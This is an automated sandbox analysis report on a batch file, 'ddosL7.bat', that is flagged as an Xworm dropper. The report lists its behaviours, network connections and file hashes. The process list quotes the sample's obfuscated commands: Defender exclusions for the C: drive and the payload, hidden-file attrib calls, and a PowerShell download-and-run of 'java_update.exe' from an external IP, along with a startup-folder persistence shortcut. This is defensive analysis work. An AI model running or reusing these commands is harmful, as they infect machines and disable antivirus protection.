Analysis Overview
SHA256
35024af1d65a1a627714e6ead42382b5952f97fef015f16634a2ca4c80e58438
Threat Level: Known bad
The file ddosL7.bat was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Downloads MZ/PE file
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Checks computer location settings
Drops startup file
Executes dropped EXE
Looks up external IP address via web service
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Suspicious behavior: GetForegroundWindowSpam
Suspicious use of SetWindowsHookEx
Views/modifies file attributes
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Suspicious use of SendNotifyMessage
Suspicious use of FindShellTrayWindow
Checks SCSI registry key(s)
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-21 13:59
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-21 13:59
Reported
2024-06-21 14:11
Platform
win10v2004-20240508-en
Max time kernel
599s
Max time network
602s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\java_update.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java Update Checker (64 bit).lnk | C:\Users\Admin\AppData\Local\Temp\java_update.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java Update Checker (64 bit).lnk | C:\Users\Admin\AppData\Local\Temp\java_update.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\java_update.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 | C:\Windows\system32\taskmgr.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A | C:\Windows\system32\taskmgr.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName | C:\Windows\system32\taskmgr.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskmgr.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\java_update.exe | N/A |
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ddosL7.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -wi"n"dow hi"d"den -command ""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -co"m"mand "Add-MpPref"e"rence -Exclu"s"ionPath "C:\"
C:\Windows\system32\attrib.exe
attrib +h "Anon" /s /d
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powers"h"ell -Comma"n"d "Invoke-Webr"e"quest 'http://45.141.26.232/java_update.exe' -OutFile java_update.exe"
C:\Users\Admin\AppData\Local\Temp\java_update.exe
java_update.exe
C:\Windows\system32\attrib.exe
attrib +h "C:\Users\YOKI CG\AppD"a"ta\Lo"c"al\Anon\java_update.exe /s /d
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3772,i,11746347647270949551,7786733067759450703,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:8
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\java_update.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'java_update.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Java Update Checker (64 bit).exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java Update Checker (64 bit).exe'
C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4336,i,11746347647270949551,7786733067759450703,262144 --variations-seed-version --mojo-platform-channel-handle=2876 /prefetch:8
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.197.17.2.in-addr.arpa | udp |
| TH | 45.141.26.232:80 | 45.141.26.232 | tcp |
| US | 8.8.8.8:53 | 232.26.141.45.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 32.251.17.2.in-addr.arpa | udp |
| TH | 45.141.26.232:6666 | tcp | |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| US | 8.8.8.8:53 | 249.197.17.2.in-addr.arpa | udp |
| TH | 45.141.26.232:6666 | tcp | |
| US | 8.8.8.8:53 | 10.173.189.20.in-addr.arpa | udp |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp | |
| TH | 45.141.26.232:6666 | tcp |
Files
memory/624-0-0x00007FF992653000-0x00007FF992655000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mjb0k3bh.k3w.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/624-7-0x0000021EE87A0000-0x0000021EE87C2000-memory.dmp
memory/624-11-0x00007FF992650000-0x00007FF993111000-memory.dmp
memory/624-12-0x00007FF992650000-0x00007FF993111000-memory.dmp
memory/624-15-0x00007FF992650000-0x00007FF993111000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | d85ba6ff808d9e5444a4b369f5bc2730 |
| SHA1 | 31aa9d96590fff6981b315e0b391b575e4c0804a |
| SHA256 | 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f |
| SHA512 | 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249 |
memory/4596-17-0x00007FF992650000-0x00007FF993111000-memory.dmp
memory/4596-27-0x00007FF992650000-0x00007FF993111000-memory.dmp
memory/4596-28-0x00007FF992650000-0x00007FF993111000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 50a8221b93fbd2628ac460dd408a9fc1 |
| SHA1 | 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6 |
| SHA256 | 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e |
| SHA512 | 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0 |
memory/4596-32-0x00007FF992650000-0x00007FF993111000-memory.dmp
memory/4596-31-0x00007FF992650000-0x00007FF993111000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 96ff1ee586a153b4e7ce8661cabc0442 |
| SHA1 | 140d4ff1840cb40601489f3826954386af612136 |
| SHA256 | 0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8 |
| SHA512 | 3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569 |
C:\Users\Admin\AppData\Local\Temp\java_update.exe
| MD5 | f3b2776ee93cfcaafc72385378a22b31 |
| SHA1 | 59bc68bbe3ed4936c1747b0762156d6053947562 |
| SHA256 | 087f7d0bf82588ecf5fa53545f7dd03cd72f3d4e729da7fd9490488ba4d42ab7 |
| SHA512 | 68d273eb968df3bd6f9a8740eaab5379b0d40c0bbac60dc809568f57844d0f8b2fc815535af5736b242dfef3fcda8203bb990e85311c3c46243f0c6b1934ad0d |
memory/2572-48-0x0000000000AB0000-0x0000000000AC0000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 2920de37e73fd6d35cd5e727bb9eee44 |
| SHA1 | 3b9adafbaeb00923d6e692950a8073cc535d4377 |
| SHA256 | 3bfd5793f0415ed5a7f767859a8f8b2c90f6d73cda16276f07d62da408e99aec |
| SHA512 | 8641b715a1adc7ca4a2dc09647fcb5dbc36cf064952d024cdd7820b6206d0e858e796b6abc94a6c9085b69e49e622609580f80579745966ccf9faddb831f2d39 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 8e4e462e64126355db69af06ba8f774e |
| SHA1 | 279d1d08ad530bf8a249366c5d927e1533f77f1a |
| SHA256 | c263a08e8768e9038dc462db8782f66ce94230ce8a372d7320e8eb7f862a3f76 |
| SHA512 | 92bd1d207d3f9d139e949e47f70d69ef1be8d40c11b03fd2bebb22bfeb598b6065921a1f3ec931e8a4d4dfdb8974a8405f17a1b3f54e4fc549fd8ea1dd5fb353 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | e3b6cc0fbea08a0831f0026a696db8b8 |
| SHA1 | 4e32202d4700061cfd80d55e42798131c9f530d4 |
| SHA256 | 3284cae7b82be99d93064390ba071ba4321f3f24dd21515b37b2ca9f31b2e8d5 |
| SHA512 | 6a06856f360b48c8bc8a15ffb8d7a6604ec357bcb1d0fad5d71a2cb876929a7b67eb40ba4493998ab1bbae8cb71212e124276f27d5c138a135041c27a41a0b7a |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | cae60f0ddddac635da71bba775a2c5b4 |
| SHA1 | 386f1a036af61345a7d303d45f5230e2df817477 |
| SHA256 | b2dd636b7b0d3bfe44cef5e1175828b1fa7bd84d5563f54342944156ba996c16 |
| SHA512 | 28ed8a8bc132ef56971cfd7b517b17cdb74a7f8c247ef6bff232996210075e06aa58a415825a1e038cfb547ad3dc6882bf1ca1b68c5b360ef0512a1440850253 |
memory/1260-100-0x000001A2D52B0000-0x000001A2D52B1000-memory.dmp
memory/1260-99-0x000001A2D52B0000-0x000001A2D52B1000-memory.dmp
memory/1260-98-0x000001A2D52B0000-0x000001A2D52B1000-memory.dmp
memory/1260-110-0x000001A2D52B0000-0x000001A2D52B1000-memory.dmp
memory/1260-109-0x000001A2D52B0000-0x000001A2D52B1000-memory.dmp
memory/1260-108-0x000001A2D52B0000-0x000001A2D52B1000-memory.dmp
memory/1260-107-0x000001A2D52B0000-0x000001A2D52B1000-memory.dmp
memory/1260-106-0x000001A2D52B0000-0x000001A2D52B1000-memory.dmp
memory/1260-105-0x000001A2D52B0000-0x000001A2D52B1000-memory.dmp
memory/1260-104-0x000001A2D52B0000-0x000001A2D52B1000-memory.dmp
memory/2572-112-0x00000000011A0000-0x00000000011AC000-memory.dmp